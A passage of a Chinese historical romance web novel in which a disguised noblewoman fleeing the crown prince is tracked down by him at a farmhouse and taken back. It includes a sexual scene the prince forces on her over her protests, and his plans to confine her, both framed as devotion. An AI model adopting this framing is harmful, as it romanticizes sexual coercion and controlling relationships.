夜黑风高,她避无可避地撞到水里暗礁,疼得她忍不住龇牙咧嘴,一不小心鼻腔和口腔灌满了水。 溺水窒息感再次包围她,黑沉沉的天和彻骨的河水,无法被人听到的呼唤。 如同回到那个绝望的冬夜,傅归荑曾经以为的埋骨之地。 眼睛开始睁不开,四肢像绑了铅块一样沉重,浑身冰冷,胸腔内的空气逐渐消失,恐惧和无助占据她的大半思绪。 绝对安静的水下,傅归荑脑子里忽然闪过裴璟告诉她如果溺水后要如何自救。 他说的每一个字现在都无比清晰而缓慢地在脑海里重现,包括他倨傲的语调,睥睨的神态,以及…以及在山洞里谈到曾经绝望时的自在调侃。 诸如种种,给予她莫大的勇气,这股气起于心脏,沿经脉血管游走于四肢百骸,瞬间赋予了傅归荑爆发式的冲击力。 她绝不能死在这里。 向上用力连续蹬,破出水面的刹那,久违的新鲜空气让她重新活过来。 然而傅归荑此时四肢酸软,眼看后继无力又要沉下去,她冷静地迅速环视四周,找寻可以支撑的点。 忽然,她看见河面上浮现点点荧光。 “救命!” 她朝着光源使劲挥手。 魏县。 “姑娘,喝完姜汤,小心着凉。”一处农户的房间里,上了年纪的粗衣大婶送给傅归荑一套干净的衣服。 “谢谢您。”傅归荑微笑接过。 大婶被她的笑容震了一下,魏县这个小地方偏僻,从没看过长得这么好看的女子。 她身上的衣服是灰砖红色,看上去很旧,衣服边缘却平整无皱,大婶平日舍不得穿,但此刻她觉得自己最好的衣服也配不上眼前人。 这位姑娘五官精致,皮肤白皙,双眸如星辰般澄澈明亮,浓密的睫毛轻颤着,眼波流转间尽显不凡。 尽管衣服是粗布的,头发简单用根光秃秃的木簪挽起,额前鬓发还有些凌乱,但丝毫不影响她的一颦一笑,一举一动间彰显着贵气。 对,是贵气。 这个被她家死鬼夜钓救上来的姑娘,据说是因为逃婚才落的水。 家里给她说了一门亲,谁知道对方是个凶神恶煞,杀人不眨眼的权贵子弟。说是当妻,实际上是妾,姑娘知道上当受骗后准备逃回家,被追的过程中落了水。 大娘心想,这样的人怎么能给人做妾。 等傅归荑喝完,大娘将碗收走,叮嘱她好好养病。 傅归荑再次礼貌道谢。 等人退出去,她脸上的笑淡下来,取而代之的是难以抑制的激动。 居然到了魏县! 傅归荑简直不敢相信自己的运气会这样好。 出了魏县,快马加鞭往西半日的路程有一条隐匿的山道,再步行一日,就能到达苍云九州最西边的城池。 简言之,不需要路引她也能离开这里,到了苍云九州,她自有方法神不知鬼不觉入城。 这是魏县人为了方便去苍云九州做买卖,天长地久走出来的路,虽然崎岖不平,有遇野兽蛇虫的风险,一来一回却能节约一天的时间,大多数人选择结伴而行。 他们不入城,在城郊边自然形成的市集做生意。 天赐良机。 傅归荑默默盘算自己需要的东西,一套男装,一匹马。 手艰难地伸进鲛绡内甲的前胸处,内侧有个夹层,是之前邓意替她缝的,里面用防水布裹了张银票。 她之前从乌拉尔那借来的银子遗失在水里,幸好这里的银票裴璟在改动内甲时没动。 傅归荑皱眉看向手里崭新的银票,要怎么才能换出去。 裴璟掌权后改革钱庄,私人钱庄早已被取缔,现在全部由户部专管。 若是自己去换,以后说不准就能被裴璟查到蛛丝马迹。 她想脱身,却不想害了镇南王府,还有远在京城邓意和其他人。 蒙穆抓自己,恰好能把镇南王府摘出去,她可以假装成逃跑后落水失踪。 就在此时,外面传来一阵对话。 “老余,你这次打算什么时候回苍云九州?” “处理掉这匹马就走,这次来没收到预期的货,多一匹马就要多雇一个人手,实在是太亏。” “马不好卖,太贵了。”魏县的人大部分使用牛车和驴车,马不仅卖的贵,吃的饲料也精细。 “哎,可不是。” 傅归荑听了眼前一亮,真是瞌睡来了送枕头。 大难不死必有后福。 她急急忙忙下床穿鞋,落地时小腿肚传来一阵剧痛,疼得她龇牙咧嘴,差点摔在地上。 傅归荑顾不得许多,双手推开门,正看见一个男人牵着马离开的背影。 “等等,我要买马!” 一番磋商后。 傅归荑一手牵马,一手接过找补的银子。 老余是来往两地的商户,他拿到钱后立刻扭头就走,嘴角裂到耳后根,怎么都止不住。 这匹马加上马鞍马具等一应杂七杂八的东西才花费二十五两,这位姑娘一出手就是三十五两,原本以为他要折价卖,现在算起来他还赚了十两。 老余摸了摸胸口的银票,就是她的要求有些奇怪,要他回苍云九州的钱庄再兑换银票。 不管这也无妨,不兑换也行。 如今银票都是南陵官府所印制,比起私人钱庄不知安全多少倍,他不着急兑换。 傅归荑栓了马,又拿出五十两银子递给这对夫妇以作答谢,她自己留下十五两。 夫妇两一个劲地推拒不受。 傅归荑强硬地塞进他们手里,语气不容拒绝:“我的命都是二位救的,大恩大德不敢忘,这是绵薄谢意请一定要收下。” 大叔继续推辞,傅归荑从容道:“您拉我回来的驴车被我弄坏了,按理说我也要赔的。还有,我住您家,吃您家的,包括身上的衣服都不是天上掉下来的,请务必收下。” “那驴是头老驴,本来也活不了几日。”大婶笑道:“我这破衣服也不是什么稀罕货,你不嫌弃就好。” 傅归荑跟着笑,但态度坚决。 她身上的那股气势实在是不容忽视,夫妇二人推辞不过只能羞愧地收下。 “还想请您帮我个忙,我想要一套合身的男装,一个女子行走在外实在是太危险。” 大婶连连赞同,从头到尾打量了下她的身高体型,表示马上去买,并保证今天一定能拿到。 傅归荑本想中午用过膳后就启程,但她腿上有伤,再加上天边乌云沉沉,怕是有一场大雨。山路陡峭崎岖,恐有危险,她无奈只能再留一宿。 傍晚,天上果然下起滂沱大雨,隔着雨幕,她甚至看不清前方三丈外的路。 傅归荑早早回房休息,躺在榻上迟迟无法入睡,心里没有预期的激动,却也没办法平静下来。 她计划进入苍云九州后先去她装病的宅子,里面有钱,伪造的路引户籍,还有武器。 等东西到手后再留下记号,父亲会定时派人过去打扫,到时候他一看便知。 傅归荑估摸着丹书铁券已经到父亲手里了,也不用怕裴璟会用她的身份对镇南王府做什么。 躲个一两年,等裴璟忘记她,傅归荑再以嫡小姐的身份悄悄回家。 至于镇南王世子傅归宜,他会永远不知生死。 唯一的遗憾便是哥哥的骨灰还放在东宫,不过说不准过几年后裴璟自然会送回来,用以拉拢人心。 毕竟傅归宜的骨灰对他来说并不是什么重要的东西。 雨天湿润,屋内的空气潮湿,连带着被子都有股霉味。 傅归荑不舒服地动了动鼻子,她忽然想起自己在东宫时,无论什么时候房间都是没有一丝异味。 刚开始是她自己的房间,后来是裴璟的寝殿,再后来整个东宫好像都变得没有味道了。 裴璟应该已经成功脱困,他现在在哪里,会发现自己已经逃走了么? 他会不会追过来? 傅归荑很快否认,裴璟的事情很多,他不仅要督管赈灾治洪,还要围剿北蛮人。 哈穆,不,蒙穆。 这次一别,他们今生再也没机会见面。 还有裴璟。 傅归荑眼前不由自主地浮现最后看见裴璟的场景,他手里提着刀,刀尖上的血顺着刀刃低落在地上。 几十个人围攻他,他的脸色虽冷却没有一丝惧意,动作简单利落,出手即是杀招。手臂被敌人的利刃划了几下,却丝毫没有影响他砍杀的速度。 唯独在与自己对视时脸色闪过慌张。 那是傅归荑第一次站在高处俯视裴璟,原来他也会受伤,也会害怕。 傅归荑的手臂压在眼皮上,逼迫自己不要再想他的脸。 然而思维不受她的控制,背她的裴璟,救人的裴璟,为她烤肉的裴璟,倒在她怀里做噩梦的裴璟轮番在她的脑海里肆虐。 她烦躁地抿了抿嘴唇。 所以说她最讨厌离别,从前是,现在也是。 屋外的雨越下越大,傅归荑翻来覆去地睡不着觉,最后僵在床上,眼睛盯着虚无漆黑的某个点,目光空洞。 “开门,开门!” 门外有人在叫,声音沙哑却吼得很用力。 傅归荑仍然一动不动。 隔壁传来开门声,大叔起来开门,傅归荑听见窸窸窣窣的交谈声,然而夹杂着雨声,她听不清在说什么。 她也不在乎,心想大概是来求避雨的人。 又过了好一会儿,大叔一个人回来,隔壁响起交谈声。 屋子简陋,隔音不好,两人的对话傅归荑听得清清楚楚。 “怎么回事?”大婶问,声音透着被打扰的不愉。 大叔打了个哈欠:“找人的。” “找什么人,这么急,大晚上不让人睡觉。” “听说是在找个十七八岁的少年,长相俊美,大概有……” 傅归荑越听越心惊,这不是自己吗,哪方人马这么快追来? 她屏住呼吸,凝神继续听。 “一群人,个个目露寒光,尤其是为首的那个,一看就不是寻常人,那双眼睛看我一眼,我差点给他跪下。” 是裴璟。 他怎么知道自己往这个方向走了? 隔壁人的讨论声越来越小,慢慢打起了鼾。 傅归荑平躺在床上,心怦怦跳得越来越快,到最后几乎要跳出嗓子眼。 裴璟方才与她不过一门之隔,现在追出去,一定能赶上他。 傅归荑默默把被子拉过头,蜷缩身体,捂住耳朵躲在黑暗封闭的环境里。 他不可能发现自己,他一开始方向就错了。 耐心等一等,等他离开,自己就安全了。 空气越来越少,傅归荑胸口闷得慌,但她依旧没有伸出头。 忽然,天空劈下一道响雷,炸在她上方,顿时头皮发麻。 与雷齐声而响的,是重重的敲门声。 傅归荑心头一紧,被子捂得更严实。 隔壁的大叔被吵醒后重新走了出去,嘴里骂骂咧咧。 这次回来的脚步声不止一个人。 傅归荑浑身一僵,像个泥塑似的动也不动,四肢开始发冷,心口不听使唤的胡乱狂跳。 “院中马的主人在哪里?” 是裴璟的声音。 还不等她反应过来。 下一刻,房间大门被一脚重重踢开。 第58章 寻回 晋江文学城独家发布 裴璟沿河道一路找来。 水里, 附近的山林都没有放过,寸寸搜寻,不落下一块地方。 他带了近五十人, 最后走到魏县的时候只剩下十个,其余的留在河道两岸继续搜索。 最好的结果是傅归荑平安到魏县, 最坏的结果……裴璟不敢想。 到魏县时已经深夜, 天降暴雨。 彼时裴璟已经两天两夜没有合过眼。 手下劝他先找个地方休息, 但裴璟哪里敢停,只要一刻没确认傅归荑的安全, 他一刻不得安宁。 心仿佛像置身于暴风雨中,四处飘摇,无处可依。 “一家一家问。”裴璟兵分四路, 从东南西北四个方向地毯式搜寻。 他双眸坚毅,丝毫不显疲态, 支撑他唯一的信念就是要马上找到傅归荑。 他也说不上为什么, 总觉得若是再找不到她,自己可能会永远失去她。 “回殿下, 这边没有。” “回殿下, 这边也没有。” “回殿下, 没有。” 一句句没有像重锤似的,敲击他的心脏,一下一下砸进深不见底的寒潭里。 裴璟带队走到最后一家,开门的是个四旬老汉, 他面色蜡黄,躯干瘦瘪, 因是长期劳作而成。 他身后的墙是用稻草和黄泥混着石块砌成的, 窗户和门上的木头到处都是被虫蚁蛀蚀的痕迹, 整间屋子看上去陈旧破败,但还算整洁。 想必屋子主人很是爱惜自己的房子。 院内有口井,隐约还能从院子后面听见牲畜的叫声。 “没见过这样的少年。”他佝偻着身体回答,神色不似作伪。 裴璟失望地垂下眼眸,转身离开。 或许傅归荑没到魏县,去了黎县。 裴璟只能这么安慰自己。 抬头看向夜空,黎县方向一片漆黑。 “走。”裴璟准备带人去魏县府衙借宿,打算停一晚上等等秦平归那处的消息。 傅归荑身上没有路引,无论是魏县还是黎县,她都没办法出城。 若是她不在魏县,只能在黎县,亦或者在山林间。 裴璟打定主意,天一亮若是秦平归还未有传信,他便带人往黎县方向寻。 绕过这间屋子后院的时候,他隐约看见简陋的牲畜棚子里有个黑影。 看这身形,可不想寻常人家里养的驴或者骡子,更不像牛,反而像……马。 他派人去核实,里面确实拴了一匹马和一头老驴。 裴璟脚步一顿,眼眸微眯。 连窗户都破烂的贫穷人家,怎么可能买得起马? 马作为战略物资,一直受到严格管控。只有官府挑剩下的马匹才能流入民间交易,而普通人日常农耕劳作是不会用到马的。 只有跨区域行路才会选择这样昂贵的交通工具。 这间屋子里还住着其他人! 裴璟呼吸微顿,电光火石间他想到被自己忽略的细节。 傅归荑是怎么逃的? 蒙穆也不是个傻子,想要把她拉下水,势必会牢牢看紧她,联想起她与裴芙呆在一起过…… 傅归荑是穿女装走的! 怪不得,怪不得没有人能识破她的金蝉脱壳之计。 天底下知道她是女人的没几个人。 怪他大意了。 审问被傅归荑打晕的北蛮人时,为了不暴露她女人的身份,他刻意略过外貌,问人是不是从这里走的。 “太子殿下,雨又大了……”属下提醒裴璟小心着凉。 “回去。”裴璟目光一凛,当机立断下令包围这坐小院,他有强烈的预感,傅归荑就在这里。 咚咚咚,这次裴璟亲自敲门。 四旬老汉再一次出来开门,一脸敢怒不敢言的模样。 裴璟负手而立,五指成拳藏在袖摆里,冷声问:“你家里最近来了生人?” 裴璟气势摄人,老汉顿觉得自己被寒风包围,哪敢说半句假话,立即就把昨夜救上一位姑娘的事情说出来。 “她……她可还平安。”裴璟听见自己的声音有些发颤。 “没大问题,那位姑娘就是腿撞到水底暗礁,淤青了一大片,其他的都好。” 裴璟长舒一口气,心总算堪堪落下来。 他不由分说往里闯,大汉虽然心里害怕他,但还是蹒跚着阻止他往里走。 “你是谁,莫不是来抓那位姑娘回去成亲当妾的纨绔子弟?”大汉虚张声势道:“你敢动手,我、我去报官!” 裴璟根本再听不进任何一个字,满脑子都是去寻傅归荑。 “院中马的主人在哪里?” 裴璟不等老汉回答,双眼扫视面前的两间屋子,一间微微打开,另一间大门紧闭。 屋子简陋成这样,里面睡得就算是个死人,也该被这么大的动静吵活过来。 心里冷笑着,一脚踹开门。 傅归荑的头捂在被子里,眼前一片黑暗,然而门外由远及近的脚步声她却听得格外清晰。 来人的踩地声极重,明明是泥地愣是被他走出了千军万马的架势,一下一下地敲在她的心脏上,有种压抑的窒息感。 裴璟找到她了。 傅归荑内心慌张,头一次不知道该用什么表情对他。 惊慌恐惧? 不行,绝对不行,这简直是坐实她做贼心虚。 兴奋喜悦? 她怕颤抖的身体出卖自己。 还不等她想清楚,身上的被子猛地一下被掀开,傅归荑的半身猝不及防暴露在寒凉的空气中,冷得她忍不住打了个觳觫。 她假装被吵醒的样子慢慢睁开眼,入目便见到裴璟居高临下地俯视她。 “你……啊。” 还来不及看清他的表情,傅归荑下一刻被锁进坚硬宽阔的胸膛里。 裴璟俯身抱住她,活生生把她的上半身从床上拽起来。 他的双臂勒得傅归荑快喘不过气,力气大到恨不得将她塞进他的胸腔里,剧烈起伏的胸膛压迫着傅归荑的心脏。 “你没事就好。”裴璟喃喃重复着:“你没事就好。” 他的头卡在她的颈窝,鼻梁来回在她侧颈上蹭,又疼又痒,弄得傅归荑总忍不住躲开他。 然而裴璟千辛万苦才找回失而复得的珍宝,怎么可能让她逃掉。 他一口咬在她的后勃颈上,双掌同时发力,桎梏住怀里人不让她乱动。 “你是……”狗吗? 傅归荑疼得倒吸一口凉气,本想张口骂人。顷刻间,她忽然察觉到后脖颈有温热的水渍,身体瞬间僵硬,内心震惊到失言。 裴璟是,哭了吗? 半晌,她抬起手放在裴璟微颤的后背上,轻轻拍着,像是安抚,又像是在告诉他一切都过去了。 裴璟保持同一个姿势好半天才松口,又用舌尖温柔地替她舔舐被咬出的牙印。 傅归荑觉得后脖那处又烫又疼,还有一丝说不出的酥麻,顺着皮下血液流回心口。 他在害怕。 意识到这点后,傅归荑的心蓦地颤了颤,翻涌着微暖的热意。 裴璟急促的呼吸终于变得平缓,他放开傅归荑,低声问她。 “除了腿,你还有别的地方受伤了吗?” 黑暗中,裴璟声音闷哑,带着微微湿意。 夫妇两为省钱,房里没有油灯,裴璟进来后侍卫们体贴地关了门。 傅归荑看不清裴璟的表情,然而隔着黑暗,她仍能感受到裴璟炙热的目光在她身上来回扫视。 “没有了。”傅归荑别过脸。 一只大掌陡然摸上她的右小腿,她反射性地想缩回来,却被禁锢在原地。 “是这里吗?” 炙热的掌心游移在上方,时不时轻轻按下去,确认伤处情况。 “嘶……”傅归荑隐忍地叫了声。 “忍忍。“裴璟的手还在继续摸索,完全弄清楚情况后心里有了底。 大掌开始往上探。 傅归荑意识到他想做什么的时候已经晚了,双腿被强行分开抬高,盘在他的后腰上。 “你疯了……”傅归荑压低声音急急道:“这里隔音很差!” 裴璟嗤笑了声,低下头堵住思念成疾的双唇。 隔壁传来小声交谈,窸窸窣窣的听不清在说什么,似乎对裴璟一行人十分忌惮。 傅归荑连呼吸都不敢用力。 一吻毕,裴璟略微抬起身,粗糙的指腹划过她细腻的脸颊,低笑一声。 “我能忍住不出声,你能不能忍得住,端看你的本事了。” 下一刻,他在傅归荑低咒和怒骂声中褪去两人衣衫,坚定不移地沉下身。 “你……唔……” 傅归荑登时用手死死捂住自己的嘴,眼神警告他不要乱来。 可惜莫说是因为环境昏暗,她无法传达准确的信息。若是被裴璟看见她含泪泛红的双眸,还不知死活地嗔目而视,只会让他愈发停不下来。 老旧的床榻剧烈摇晃,裴璟难以自控地不停确认自己还拥有她。 傅归荑还好好活着。 她现在正在他的怀里。 即便是危险已经过去一天一夜,北蛮人全军覆没。 裴璟只要一想到她曾经跟那群野蛮暴力的人呆了整整一晚,他就忍不住后怕。 还好,她有尊贵的身份,他们不敢轻易动她。 还好,她足够聪明机警,找到机会成功出逃。 事毕,裴璟翻过她的腰,抚上单薄的后脊,听着她急促又压抑的呼吸声,轻笑道:“别以为我不知道你为什么要买马?” 怀中人的呼吸骤然停顿片刻,旋即是一段长长的沉默。 “我腿脚不便,买马是为了回抚城。”傅归荑打定主意,抵死不承认自己之前的计划:“再说,我没有路引,如何能走出魏县?” 裴璟不需要光,也能准确替傅归荑撩开额前濡湿的碎发,他将人揽在怀里,臂弯又收紧了些。 “你解释这么多做什么,我没说你不是回抚城。” 傅归荑登时噤声。 裴璟声音低沉不变喜怒。 黑暗里,她无法判断他当下的表情,更不清楚他有没有相信自己的一番说辞。 “身子怎么这样冷?”裴璟好像忘记之前的话题,夹住她的双脚为她取暖:“再忍几个时辰,天一亮我们立刻启程回抚城。” 傅归荑僵着身子淡淡答了句嗯。 裴璟抬手,将五指伸进她后脑的乌发中,往自己胸口按了按,迫使她离得更近。 傅归荑此时心中忐忑难安,生怕裴璟看出她想逃跑,哪敢反抗,顺从地紧贴他的心口。 为了消除他的疑心,她还主动抬手搂住他的腰。 殊不知这一切在裴璟眼里是多么心虚的表现。 他在心里冷笑着,费了九牛二虎之力才按捺住立即将她捉回去,关起来的冲动。 “睡吧。”裴璟温柔地在她额前落下一吻,手顺着她的脊背上下抚摸。 他的下颌抵在傅归荑头顶上,在她看不见的地方目光冰冷,脸色阴沉。 傅归荑心里紧绷的弦在裴璟一下下抚慰中渐渐松弛,听着耳畔沉稳有力的心跳,她慢慢睡了过去。 事后她自己都难以解释,明明在他来之前,自己怎么也睡不着。 平稳均匀的呼吸打在裴璟的身上,他低头凝视着傅归荑,手指虚虚描摹着她的睡颜,勾起一丝狞笑。 “你想跑的事,还没完。” 作者有话说: 傅归荑:这局我输了,可恶。 第59章 回程 晋江文学城独家发布 夜深人静, 屋外雨声渐渐停歇。 裴璟毫无睡意,他往自己后腰摸,寻到傅归荑虚虚搭在他身上的手, 牢牢将她柔软的五指锁在掌心里。 他才不会信傅归荑的鬼话,她若真想回抚城, 就应该在到魏县的第一时间去找当地父母官。 再不济, 也该在今晚自己找来的时候出声提醒。 她这么谨慎小心的人, 不可能没认出自己,但她仍然选择视而不见。 司马昭之心路人皆知, 她从未放弃过离开他的念头。 不过看在她及时亡羊补牢的份上,裴璟决定小惩大诫。 他在心里默默盘算水患重建需要的时间,最少十日, 最多半个月,打定主意等回宫后再也不放她出来。 裴璟的眼里罕见的露出迷茫, 为什么她不愿意留在自己身边。 他已经告诉过她自己的安排, 难道她有什么不满意么? 裴璟皱着眉,一晚上没睡, 生怕眼一闭, 人又不见了。 直到现在他依旧有种不真实感, 若不是不想耽误明日的赶路,今天不会草草了事放过她。 他承认自己在听见傅归荑的身份有暴露风险时,慌了神。 那一刻,裴璟第一次自责。 为什么当年在清算北蛮皇族时, 一时疏忽放了蒙穆。 * 翌日,傅归荑清醒后便觉得大事不妙。 药不在身边。 一想到后果, 她顾不得酸软的身体, 急急下床穿衣。 今日一定要赶回抚城。 打开门, 发现裴璟正站在院中央跟屋主夫妇二人交谈。 傅归荑一出现,裴璟的视线立刻捕捉到她。 “过来。”裴璟朝傅归荑招手。 傅归荑垂下眸,慢吞吞地走过去。 裴璟拉住傅归荑的手以示亲密,她不想惹怒裴璟,自然不会反抗。 夫妇二人看他们这样,心里的疑惑散了大半。 原来是小夫妻斗嘴,妻子一气之下离家出走,不小心落入水中,这位郎君不眠不休两天两夜才找到这里。 他们原本也是将信将疑,可瞧他眼底青黑,眉梢间尽显疲惫,最重要的是他带来的手下人对小娘子态度恭敬,可不像是对妾的态度。 其实很早之前夫妇二人就对小娘子的说辞有疑惑,若真是成亲途中落跑,怎么身边连个陪嫁的丫鬟都没有,一看就是孤身一人出来的。 他们知道有些东西不能问,便装糊涂,再怎么样也是一条人命,他们做不到视而不见。 裴璟离开前去了一趟魏县的府衙,吩咐当地官员照顾这对老夫妻。 他们的两个儿子在北伐战争全部阵亡,抚恤金到两夫妻手里后,他们毅然决定将钱分发给那些同样牺牲战士们的妻儿,其中某些家里还有不足一岁的幼儿。 傅归荑默默听着老两口说起两个儿子,他们的表情骄傲自豪。 “能为南陵流血牺牲,是他们的荣耀。” “从前,北蛮年年要南陵进贡大量的岁贡,民不聊生,即便是丰年,我们也有许多人要饿死。” “现在好了,哪怕遇见天灾,我们家家都能有一口饱饭。前段时间闹洪灾,田里的庄稼都被淹了,本以为今年又要饿肚子,可朝廷的赈灾粮款很快分到各家各户。” “我们喜欢这样的南陵,这是千千万万个战士替我们挣来的南陵。” 傅归荑本想把剩下的十五两银子和马匹都留给老两口,但他们这次坚决不收。 裴璟见状,阻止了傅归荑。 “怀璧其罪,打眼的钱财只会招来祸患。” 裴璟找人替夫妻两把屋子修缮了一番,不求奢华,但求实用,从外部看起来没有什么变化。 临走前,裴璟将傅归荑买的马带走。 他身形高大,骑在那匹马上,显得马十分瘦弱,仿佛下一刻就要被压倒。 傅归荑建议他换一匹强壮的马。 裴璟冷笑:“怎么,你买的马难道连抚城也到不了?” 从魏县到抚城走关道需四个时辰,到那条山路小道只需两个时辰,傅归荑体轻,买马时并没有考虑马匹的体力问题。 她讪笑道:“应该可以。” 傅归荑不再多言,转身上了一匹又高又壮的骏马。 一行人策马而去,中途在驿站休息时,裴璟座下的马匹体力不支不能再骑。 裴璟斜睨了眼累倒在地的马,眉毛微挑,略带讥讽:“傅世子出生苍云九州,挑马的眼光还需在提高些。” 傅归荑默默捧着茶杯不说话。 裴璟见她不接茬,心里忽地腾起暗火,故意道:“傅世子精通《南陵律》,应该知道藩王无诏出封地,或者私自返回封地是什么罪吧。” 傅归荑表情纹丝不动:“《南陵律》第二卷 第十三条,藩王无诏出封地,罪同谋逆,私自返回亦然。” 裴璟笑了,“你清楚最好。” 傅归荑垂下眸,暗忖裴璟大抵还是猜出她的打算,可那又如何,他没有证据,自己更不会傻到承认。 再次启程时,因为少了一匹马,裴璟与傅归荑同骑。 傅归荑在前,裴璟在后面。 他抱住单手环住傅归荑的细腰,胸膛紧贴她的后背,把头靠在她的肩上,闭上眼轻声道:“交给你了,我睡一会儿。” 傅归荑侧头向后看,只能看见裴璟头顶的黑发,咬牙道:“你也不怕我把你摔下去。” 裴璟闭着眼,手臂一紧,哼笑道:“你试试甩得掉我吗?” 傅归荑怒而挥鞭。 一路上,她专门挑那种碎石路,她能感觉到裴璟的脑袋在她后背一颠一颠地上下起伏。 他的手始终牢牢扣住她的腰侧,整个人纹丝不动地黏在她身后,呼吸平稳均匀,确实睡着了。 裴璟还真是放心她。 傅归荑心里恼恨他的算无遗策,他料定自己肯定不会真下狠手,又在愤懑中陡然生出一丝奇怪的情绪。 他就这么信任她? 到后来,她觉得这样的作派实在像小孩子在斗气撒泼,便不再找茬,专心赶路。 当务之急,是要迅速回到抚城。 傅归荑半眯着眼,开始加速。 跟在两人后面的护卫们一开始还能跟上傅归荑的速度,后来渐渐被她甩了一大截。 他们个个卯足了劲追赶,傅世子带上太子还跑得比他们快,说出去真是脸上无光。 不过也不能怪他们,魏县是个小地方,通往抚城的官道简陋,再加上大雨导致山上的石块滚落下来,路上的碎石没有及时清理干净,他们控马技术不如傅归荑,速度自然不快。 又过一个半时辰,眼看抚城近在眼前,裴璟醒了。 比预计的提前了半个时辰。 他扫了眼面无表情的傅归荑,她只有鬓发微微凌乱,脸不红气不喘的。又往后看了眼脸色狼狈的下属们,决定回京城后加强训练。 “我来吧。”裴璟放开傅归荑的腰,改为抓住缰绳,双臂将人整个人拢在怀里。 傅归荑不跟他争,高强度的精准控马确实让她精神有些不济,顺势放手。 “靠着我休息一下,马上就进城了。”裴璟强硬地按住她脑袋朝自己胸口贴,让她依偎着。 傅归荑起先十分不自在,身体僵直,大庭广众下两个男人靠这么近做什么,太引人注意。 裴璟知道她的想法后笑道:“方才我不是也靠着你,你看一路上遇见的人有谁露出异样的眼光。你总是杞人忧天,这世间又有几个人真的在乎别人的事情。” 傅归荑还是不习惯,裴璟也不强迫,兀自驾马朝前走。 他的骑术也不差,快速平稳,傅归荑渐渐放松下来。 凉风在她耳畔滑过,她却丝毫感受不到冷意。 秦平归接到信,早早恭候在城门口,看见裴璟怀里的人后悬在半空中的心总算放回胸膛里。 他也说不上来为什么如此担心傅归荑,或许她遇险一事也怪自己一时兴起带她去找裴璟导致的。 秦平归这么说服自己,手却无意识地捂住自己的心口,那种微痛的窒息感早已消失,却深深印在自己的脑海里。 他好像,不止一次有过这种感觉。 秦平归虽然失忆,但他只是忘记了从前的事,记忆力极好的他开始回忆自己出现过这种感觉的时间节点。 被裴璟救上来的第二年,某日他潜进北蛮皇宫御花园的水池里捉鱼时出现过。他当时以为是在水里压力太大导致,可从前下水没有这种感觉,在那之后也没有。 还有零零星星的几次,都是忽然间心口微痛,有时候是在做一些危险的事,有时候只是在睡觉。 后来他找大夫看过,无论是民间的大夫还是宫里的太医都说不出个所以然,也不是先天心疾。 随着时间流逝,这种感觉出现的次数越来越少,除了这次傅归荑落水,最近一次好像是…… 傅归荑因为傅归宜的死而晕过去! 最近两次都跟她有关,秦平归好像觉得自己抓住了什么东西。 裴璟入城后直奔府衙,自己先下马,转身伸手去扶马上的人。 傅归荑想了想,最后还是把手放在裴璟的掌心。 裴璟露的眼里带了点笑意,傅归荑读出了“算你识相”的信息。 “你愣在这里做什么?”裴璟对上秦平归,笑意淡了下来,催促他:“快去休息,你跟我一样也三天没合眼了。” 秦平归的视线终于从傅归荑身上挪开,发现她完好无损后哦了一声转身回到自己的房间。 傅归荑进门第一件事便是叫人拿酒来。 裴璟自然知道她是什么意思,走到床头将药瓶拿出来递给傅归荑。 她看见后明显愣了一下。 “吃吧,我答应过你,绝不食言。” 傅归荑接过东西,垂下眸轻声说了句谢谢。 作者有话说: 最近一次指路38章。 第60章 离别 晋江文学城独家发布 裴璟回房沐浴更衣后倒头就睡, 睡了将近一天一夜。 傅归荑赶路也有些疲惫,与他一同休息。 中途她被渴醒,想下榻喝水, 她一动,裴璟立刻惊醒。 直到她重新躺回来, 他才会继续睡。 裴璟的头靠在她的肩膀侧边, 手牢牢横亘在她的腰侧, 双腿更是强势地圈住她,姿势很是不雅。 傅归荑忍不住推开他, 每次刚离开半臂距离,他瞬间醒过来,又把她抓回去。 她抱怨道:“你压得我好累, 不能放开我各睡各的吗?” 裴璟闭着眼,闷闷笑了声, “我挨着你, 才能睡着。” 这不是他第一次说这种话,傅归荑记起在山洞里时他也说过类似的话。 裴璟换了个姿势, 把傅归荑转了个身, 让她背对自己, 脚也放开她,只留下一只手虚虚环住她的腰。 傅归荑勉为其难地同意了。 不同意也没办法,总比刚刚的姿势强。 她重新阖上眼。 再醒过来时已经是次日上午,她被平放在榻上, 盖得密不透风,身边的软褥早已凉透。 傅归荑起身用早膳时被告知裴璟今晚不回来。 “傅世子, 靶场已改建完毕, 您若是坐累了, 可以出去活动活动筋骨。” 傅归荑叫人拿来逐月弓,在院中射箭。 秦平归提着一篮子水蜜桃走进来,恰巧看见傅归荑放下弓。 “接着。”他朝着傅归荑扔出一个桃。 傅归荑本能地伸手去接,看清手里的东西后疑惑地望着他。 “上次看你还挺喜欢吃的。”秦平归自己也拿了一个,一口咬下,嘎嘣脆响。 傅归荑眉头微皱,不解道:“可是上次我没吃啊?” 秦平归喉咙里的桃块霎时堵在嗓子眼,差点噎着自己。 他艰难地吞咽下去,若无其事道:“上次你选了这种硬一点的桃子,我还以为你会喜欢的。” 傅归荑咬了一口,“确实不错。” 秦平归动作微滞,笑道:“你喜欢就好。” 傅归荑眼神冷淡地上下打量他,看得秦平归心里发毛,她某些时候越来越像裴璟。 “你找我有什么事?”傅归荑警惕的眼神让秦平归心里莫名不舒服。 他好像没做过什么得罪她的事情吧? “没事,来问问你被抓走后,他们有没有……对你不敬?”秦平归本意是关心傅归荑,但皮质面具让他看上去有些显得不近人情。 蒙穆那日重伤没死,此刻被关在地牢里,秦平归可以随时带她去出气泄愤。 “你在审我?”傅归荑眯着眼,沉下脸:“是裴璟要你问的吗?” 她不等秦平归开口,冷冷道:“我的事情你们应该已经调查清楚了,难道不知道我和蒙穆是什么关系?” 秦平归确实从活着的北蛮人嘴里套出了他们要抓傅归荑的前因后果。 原来蒙穆和傅归荑是旧识,怪不得那日在平溪猎场她能活着等到季明雪去救她。 也正是因为蒙穆曾经帮助过傅归荑,秦平归才没有对他用重刑。 裴璟知道后默许了他的做法。 “你别误会,我只是想告诉你如果他欺负你,我帮你报仇。”秦平归见她面色不善,急忙解释。 傅归荑面无表情地举弓搭弦,拉满松手,正中红心。 “裴璟欺负我,你也会去帮我报仇吗?” 秦平归闭口不语。 傅归荑冷笑一声,转头回房。 秦平归望着傅归荑冷漠的背影,又看了眼被她丢掉的桃子,心里莫名有些堵,却又不是那种窒息的痛。 恰好有下属来汇报,裴璟叫他去一趟。 “谁得罪你了。”裴璟莫名其妙看着秦平归,淡声问:“干什么臭着一张脸?” 秦平归双唇崩成一条向下压的弧线,憋出两个字:“没事。” 裴璟心里疑惑,却知道秦平归是个有主意的,也没再多问。 